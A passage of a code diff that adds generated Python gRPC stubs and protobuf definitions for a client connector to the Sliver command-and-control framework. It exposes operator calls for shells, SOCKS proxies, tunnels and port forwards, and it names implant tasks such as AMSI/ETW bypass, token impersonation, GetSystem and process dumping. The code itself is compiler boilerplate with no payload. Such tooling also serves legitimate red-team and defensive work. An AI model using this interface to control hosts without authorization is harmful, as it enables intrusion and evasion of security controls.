+ metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ListExtensions', + sliverpb_dot_sliver__pb2.ListExtensionsReq.SerializeToString, + sliverpb_dot_sliver__pb2.ListExtensions.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RegisterWasmExtension(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegisterWasmExtension', + sliverpb_dot_sliver__pb2.RegisterWasmExtensionReq.SerializeToString, + sliverpb_dot_sliver__pb2.RegisterWasmExtension.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ListWasmExtensions(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ListWasmExtensions', + sliverpb_dot_sliver__pb2.ListWasmExtensionsReq.SerializeToString, + sliverpb_dot_sliver__pb2.ListWasmExtensions.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ExecWasmExtension(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ExecWasmExtension', + sliverpb_dot_sliver__pb2.ExecWasmExtensionReq.SerializeToString, + sliverpb_dot_sliver__pb2.ExecWasmExtension.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WGStartPortForward(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGStartPortForward', + sliverpb_dot_sliver__pb2.WGPortForwardStartReq.SerializeToString, + sliverpb_dot_sliver__pb2.WGPortForward.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WGStopPortForward(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGStopPortForward', + sliverpb_dot_sliver__pb2.WGPortForwardStopReq.SerializeToString, + sliverpb_dot_sliver__pb2.WGPortForward.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WGStartSocks(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGStartSocks', + sliverpb_dot_sliver__pb2.WGSocksStartReq.SerializeToString, + sliverpb_dot_sliver__pb2.WGSocks.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WGStopSocks(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGStopSocks', + sliverpb_dot_sliver__pb2.WGSocksStopReq.SerializeToString, + sliverpb_dot_sliver__pb2.WGSocks.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WGListForwarders(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGListForwarders', + sliverpb_dot_sliver__pb2.WGTCPForwardersReq.SerializeToString, + sliverpb_dot_sliver__pb2.WGTCPForwarders.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WGListSocksServers(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WGListSocksServers', + sliverpb_dot_sliver__pb2.WGSocksServersReq.SerializeToString, + sliverpb_dot_sliver__pb2.WGSocksServers.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Shell(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Shell', + sliverpb_dot_sliver__pb2.ShellReq.SerializeToString, + sliverpb_dot_sliver__pb2.Shell.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Portfwd(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Portfwd', + sliverpb_dot_sliver__pb2.PortfwdReq.SerializeToString, + sliverpb_dot_sliver__pb2.Portfwd.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CreateSocks(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CreateSocks', + sliverpb_dot_sliver__pb2.Socks.SerializeToString, + sliverpb_dot_sliver__pb2.Socks.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CloseSocks(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CloseSocks', + sliverpb_dot_sliver__pb2.Socks.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def SocksProxy(request_iterator, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.stream_stream(request_iterator, target, '/rpcpb.SliverRPC/SocksProxy', + sliverpb_dot_sliver__pb2.SocksData.SerializeToString, + sliverpb_dot_sliver__pb2.SocksData.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CreateTunnel(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CreateTunnel', + sliverpb_dot_sliver__pb2.Tunnel.SerializeToString, + sliverpb_dot_sliver__pb2.Tunnel.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CloseTunnel(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CloseTunnel', + sliverpb_dot_sliver__pb2.Tunnel.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def TunnelData(request_iterator, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.stream_stream(request_iterator, target, '/rpcpb.SliverRPC/TunnelData', + sliverpb_dot_sliver__pb2.TunnelData.SerializeToString, + sliverpb_dot_sliver__pb2.TunnelData.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Events(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_stream(request, target, '/rpcpb.SliverRPC/Events', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Event.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2.py new file mode 100644 index 0000000..6cccc95 --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2.py @@ -0,0 +1,399 @@ +# -*- coding: utf-8 -*- +# Generated by the protocol buffer compiler. DO NOT EDIT! +# source: sliverpb/sliver.proto +"""Generated protocol buffer code.""" +from google.protobuf.internal import builder as _builder +from google.protobuf import descriptor as _descriptor +from google.protobuf import descriptor_pool as _descriptor_pool +from google.protobuf import symbol_database as _symbol_database +# @@protoc_insertion_point(imports) + +_sym_db = _symbol_database.Default() + + +from sliver_service.pb.commonpb import common_pb2 as commonpb_dot_common__pb2 + + +DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x15sliverpb/sliver.proto\x12\x08sliverpb\x1a\x15\x63ommonpb/common.proto\"N\n\x08\x45nvelope\x12\n\n\x02ID\x18\x01 \x01(\x03\x12\x0c\n\x04Type\x18\x02 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x03 \x01(\x0c\x12\x1a\n\x12UnknownMessageType\x18\x04 \x01(\x08\"Q\n\x0b\x42\x65\x61\x63onTasks\x12\n\n\x02ID\x18\x01 \x01(\t\x12!\n\x05Tasks\x18\x02 \x03(\x0b\x32\x12.sliverpb.Envelope\x12\x13\n\x0bNextCheckin\x18\x03 \x01(\x03\"\x9f\x02\n\x08Register\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x10\n\x08Hostname\x18\x02 \x01(\t\x12\x0c\n\x04Uuid\x18\x03 \x01(\t\x12\x10\n\x08Username\x18\x04 \x01(\t\x12\x0b\n\x03Uid\x18\x05 \x01(\t\x12\x0b\n\x03Gid\x18\x06 \x01(\t\x12\n\n\x02Os\x18\x07 \x01(\t\x12\x0c\n\x04\x41rch\x18\x08 \x01(\t\x12\x0b\n\x03Pid\x18\t \x01(\x05\x12\x10\n\x08\x46ilename\x18\n \x01(\t\x12\x10\n\x08\x41\x63tiveC2\x18\x0b \x01(\t\x12\x0f\n\x07Version\x18\x0c \x01(\t\x12\x19\n\x11ReconnectInterval\x18\r \x01(\x03\x12\x10\n\x08ProxyURL\x18\x0e \x01(\t\x12\x10\n\x08\x43onfigID\x18\x10 \x01(\t\x12\x0e\n\x06PeerID\x18\x11 \x01(\x03\x12\x0e\n\x06Locale\x18\x12 \x01(\t\"y\n\x0e\x42\x65\x61\x63onRegister\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x10\n\x08Interval\x18\x02 \x01(\x03\x12\x0e\n\x06Jitter\x18\x03 \x01(\x03\x12$\n\x08Register\x18\x04 \x01(\x0b\x32\x12.sliverpb.Register\x12\x13\n\x0bNextCheckin\x18\x05 \x01(\x03\"C\n\x0fSessionRegister\x12\n\n\x02ID\x18\x01 \x01(\t\x12$\n\x08Register\x18\x02 \x01(\x0b\x32\x12.sliverpb.Register\"s\n\x0bOpenSession\x12\x0b\n\x03\x43\x32s\x18\x01 \x03(\t\x12\r\n\x05\x44\x65lay\x18\x02 \x01(\x03\x12$\n\x08Response\x18\x08 \x01(\x0b\x32\x12.commonpb.Response\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"X\n\x0c\x43loseSession\x12$\n\x08Response\x18\x08 \x01(\x0b\x32\x12.commonpb.Response\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"_\n\x04Ping\x12\r\n\x05Nonce\x18\x01 \x01(\x05\x12$\n\x08Response\x18\x08 \x01(\x0b\x32\x12.commonpb.Response\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"<\n\x07KillReq\x12\r\n\x05\x46orce\x18\x01 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"+\n\x05PsReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"P\n\x02Ps\x12$\n\tProcesses\x18\x01 \x03(\x0b\x32\x11.commonpb.Process\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"N\n\x0cTerminateReq\x12\x0b\n\x03Pid\x18\x01 \x01(\x05\x12\r\n\x05\x46orce\x18\x02 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\">\n\tTerminate\x12\x0b\n\x03Pid\x18\x01 \x01(\x05\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"1\n\x0bIfconfigReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"_\n\x08Ifconfig\x12-\n\rNetInterfaces\x18\x01 \x03(\x0b\x32\x16.sliverpb.NetInterface\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"M\n\x0cNetInterface\x12\r\n\x05Index\x18\x01 \x01(\x05\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12\x0b\n\x03MAC\x18\x03 \x01(\t\x12\x13\n\x0bIPAddresses\x18\x04 \x03(\t\"9\n\x05LsReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x95\x01\n\x02Ls\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0e\n\x06\x45xists\x18\x02 \x01(\x08\x12!\n\x05\x46iles\x18\x03 \x03(\x0b\x32\x12.sliverpb.FileInfo\x12\x10\n\x08timezone\x18\x04 \x01(\t\x12\x16\n\x0etimezoneOffset\x18\x05 \x01(\x05\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"|\n\x08\x46ileInfo\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\r\n\x05IsDir\x18\x02 \x01(\x08\x12\x0c\n\x04Size\x18\x03 \x01(\x03\x12\x0f\n\x07ModTime\x18\x04 \x01(\x03\x12\x0c\n\x04Mode\x18\x05 \x01(\t\x12\x0c\n\x04Link\x18\x06 \x01(\t\x12\x0b\n\x03Uid\x18\x07 \x01(\t\x12\x0b\n\x03Gid\x18\x08 \x01(\t\"9\n\x05\x43\x64Req\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\",\n\x06PwdReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"9\n\x03Pwd\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"[\n\x05RmReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x11\n\tRecursive\x18\x02 \x01(\x08\x12\r\n\x05\x46orce\x18\x03 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"8\n\x02Rm\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"E\n\x05MvReq\x12\x0b\n\x03Src\x18\x01 \x01(\t\x12\x0b\n\x03\x44st\x18\x02 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"D\n\x02Mv\x12\x0b\n\x03Src\x18\x01 \x01(\t\x12\x0b\n\x03\x44st\x18\x02 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"<\n\x08MkdirReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\";\n\x05Mkdir\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"m\n\x0b\x44ownloadReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\r\n\x05Start\x18\x02 \x01(\x03\x12\x0c\n\x04Stop\x18\x03 \x01(\x03\x12\x0f\n\x07Recurse\x18\x04 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xc5\x01\n\x08\x44ownload\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0f\n\x07\x45ncoder\x18\x02 \x01(\t\x12\x0e\n\x06\x45xists\x18\x03 \x01(\x08\x12\r\n\x05Start\x18\x04 \x01(\x03\x12\x0c\n\x04Stop\x18\x05 \x01(\x03\x12\x0c\n\x04\x44\x61ta\x18\x06 \x01(\x0c\x12\r\n\x05IsDir\x18\x07 \x01(\x08\x12\x11\n\tReadFiles\x18\x08 \x01(\x05\x12\x17\n\x0fUnreadableFiles\x18\n \x01(\x05\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"k\n\tUploadReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0f\n\x07\x45ncoder\x18\x02 \x01(\t\x12\x0c\n\x04\x44\x61ta\x18\x03 \x01(\x0c\x12\r\n\x05IsIOC\x18\x04 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"<\n\x06Upload\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"R\n\x0eProcessDumpReq\x12\x0b\n\x03Pid\x18\x01 \x01(\x05\x12\x0f\n\x07Timeout\x18\x02 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"A\n\x0bProcessDump\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xaa\x01\n\x08RunAsReq\x12\x10\n\x08Username\x18\x01 \x01(\t\x12\x13\n\x0bProcessName\x18\x02 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x03 \x01(\t\x12\x0e\n\x06\x44omain\x18\x04 \x01(\t\x12\x10\n\x08Password\x18\x05 \x01(\t\x12\x12\n\nHideWindow\x18\x06 \x01(\x08\x12\x0f\n\x07NetOnly\x18\x07 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"=\n\x05RunAs\x12\x0e\n\x06Output\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"F\n\x0eImpersonateReq\x12\x10\n\x08Username\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"3\n\x0bImpersonate\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"2\n\x0cRevToSelfReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"1\n\tRevToSelf\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\":\n\x14\x43urrentTokenOwnerReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"I\n\x11\x43urrentTokenOwner\x12\x0e\n\x06Output\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"^\n\x12InvokeGetSystemReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x16\n\x0eHostingProcess\x18\x02 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"1\n\tGetSystem\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"y\n\x0cMakeTokenReq\x12\x10\n\x08Username\x18\x01 \x01(\t\x12\x10\n\x08Password\x18\x02 \x01(\t\x12\x0e\n\x06\x44omain\x18\x03 \x01(\t\x12\x11\n\tLogonType\x18\x04 \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"1\n\tMakeToken\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"k\n\x07TaskReq\x12\x0f\n\x07\x45ncoder\x18\x01 \x01(\t\x12\x10\n\x08RWXPages\x18\x02 \x01(\x08\x12\x0b\n\x03Pid\x18\x03 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x04 \x01(\x0c\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\",\n\x04Task\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xaf\x02\n\x12\x45xecuteAssemblyReq\x12\x10\n\x08\x41ssembly\x18\x01 \x01(\x0c\x12\x11\n\tArguments\x18\x02 \x01(\t\x12\x0f\n\x07Process\x18\x03 \x01(\t\x12\r\n\x05IsDLL\x18\x04 \x01(\x08\x12\x0c\n\x04\x41rch\x18\x05 \x01(\t\x12\x11\n\tClassName\x18\x06 \x01(\t\x12\x0e\n\x06Method\x18\x07 \x01(\t\x12\x11\n\tAppDomain\x18\x08 \x01(\t\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\x11\n\tInProcess\x18\x0c \x01(\x08\x12\x0f\n\x07Runtime\x18\r \x01(\t\x12\x12\n\nAmsiBypass\x18\x0e \x01(\x08\x12\x11\n\tEtwBypass\x18\x0f \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x80\x01\n\x18InvokeExecuteAssemblyReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x0f\n\x07process\x18\x02 \x01(\t\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x9d\x01\n\x1eInvokeInProcExecuteAssemblyReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x11\n\tArguments\x18\x02 \x03(\t\x12\x0f\n\x07Runtime\x18\x03 \x01(\t\x12\x12\n\nAmsiBypass\x18\x04 \x01(\x08\x12\x11\n\tEtwBypass\x18\x05 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"G\n\x0f\x45xecuteAssembly\x12\x0e\n\x06Output\x18\x01 \x01(\x0c\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"Q\n\x10InvokeMigrateReq\x12\x0b\n\x03Pid\x18\x01 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x02 \x01(\x0c\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"@\n\x07Migrate\x12\x0f\n\x07Success\x18\x01 \x01(\x08\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\x8a\x01\n\nExecuteReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x02 \x03(\t\x12\x0e\n\x06Output\x18\x03 \x01(\x08\x12\x0e\n\x06Stdout\x18\x04 \x01(\t\x12\x0e\n\x06Stderr\x18\x05 \x01(\t\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xa3\x01\n\x11\x45xecuteWindowsReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x02 \x03(\t\x12\x0e\n\x06Output\x18\x03 \x01(\x08\x12\x0e\n\x06Stdout\x18\x04 \x01(\t\x12\x0e\n\x06Stderr\x18\x05 \x01(\t\x12\x10\n\x08UseToken\x18\x06 \x01(\x08\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"l\n\x07\x45xecute\x12\x0e\n\x06Status\x18\x01 \x01(\r\x12\x0e\n\x06Stdout\x18\x02 \x01(\x0c\x12\x0e\n\x06Stderr\x18\x03 \x01(\x0c\x12\x0b\n\x03Pid\x18\x04 \x01(\r\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xc9\x01\n\x0bSideloadReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x13\n\x0bProcessName\x18\x02 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x03 \x01(\t\x12\x12\n\nEntryPoint\x18\x04 \x01(\t\x12\x0c\n\x04Kill\x18\x05 \x01(\x08\x12\r\n\x05isDLL\x18\x06 \x01(\x08\x12\x11\n\tisUnicode\x18\x07 \x01(\x08\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"@\n\x08Sideload\x12\x0e\n\x06Result\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xad\x01\n\x11InvokeSpawnDllReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x13\n\x0bProcessName\x18\x02 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x03 \x01(\t\x12\x12\n\nEntryPoint\x18\x04 \x01(\t\x12\x0c\n\x04Kill\x18\x05 \x01(\x08\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xa3\x01\n\x0bSpawnDllReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x13\n\x0bProcessName\x18\x02 \x01(\t\x12\x0e\n\x06Offset\x18\x03 \x01(\r\x12\x0c\n\x04\x41rgs\x18\x04 \x01(\t\x12\x0c\n\x04Kill\x18\x05 \x01(\x08\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"@\n\x08SpawnDll\x12\x0e\n\x06Result\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"w\n\nNetstatReq\x12\x0b\n\x03TCP\x18\x01 \x01(\x08\x12\x0b\n\x03UDP\x18\x02 \x01(\x08\x12\x0b\n\x03IP4\x18\x03 \x01(\x08\x12\x0b\n\x03IP6\x18\x05 \x01(\x08\x12\x11\n\tListening\x18\x06 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xf1\x01\n\x0cSockTabEntry\x12\x32\n\tLocalAddr\x18\x01 \x01(\x0b\x32\x1f.sliverpb.SockTabEntry.SockAddr\x12\x33\n\nRemoteAddr\x18\x02 \x01(\x0b\x32\x1f.sliverpb.SockTabEntry.SockAddr\x12\x0f\n\x07SkState\x18\x03 \x01(\t\x12\x0b\n\x03UID\x18\x04 \x01(\r\x12\"\n\x07Process\x18\x05 \x01(\x0b\x32\x11.commonpb.Process\x12\x10\n\x08Protocol\x18\x06 \x01(\t\x1a$\n\x08SockAddr\x12\n\n\x02Ip\x18\x01 \x01(\t\x12\x0c\n\x04Port\x18\x02 \x01(\r\"X\n\x07Netstat\x12\'\n\x07\x45ntries\x18\x01 \x03(\x0b\x32\x16.sliverpb.SockTabEntry\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\":\n\x06\x45nvReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"T\n\x07\x45nvInfo\x12#\n\tVariables\x18\x01 \x03(\x0b\x32\x10.commonpb.EnvVar\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"S\n\tSetEnvReq\x12\"\n\x08Variable\x18\x01 \x01(\x0b\x32\x10.commonpb.EnvVar\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\".\n\x06SetEnv\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"?\n\x0bUnsetEnvReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"0\n\x08UnsetEnv\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\x1d\n\x0e\x44NSSessionInit\x12\x0b\n\x03Key\x18\x01 \x01(\x0c\"3\n\x07\x44NSPoll\x12(\n\x06\x62locks\x18\x01 \x03(\x0b\x32\x18.sliverpb.DNSBlockHeader\"*\n\x0e\x44NSBlockHeader\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04Size\x18\x02 \x01(\r\"\x1e\n\x0fHTTPSessionInit\x12\x0b\n\x03Key\x18\x01 \x01(\x0c\"3\n\rScreenshotReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"@\n\nScreenshot\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\x9c\x01\n\x0fStartServiceReq\x12\x13\n\x0bServiceName\x18\x01 \x01(\t\x12\x1a\n\x12ServiceDescription\x18\x02 \x01(\t\x12\x0f\n\x07\x42inPath\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\x11\n\tArguments\x18\x05 \x01(\t\x12\"\n\x07Request\x18\t 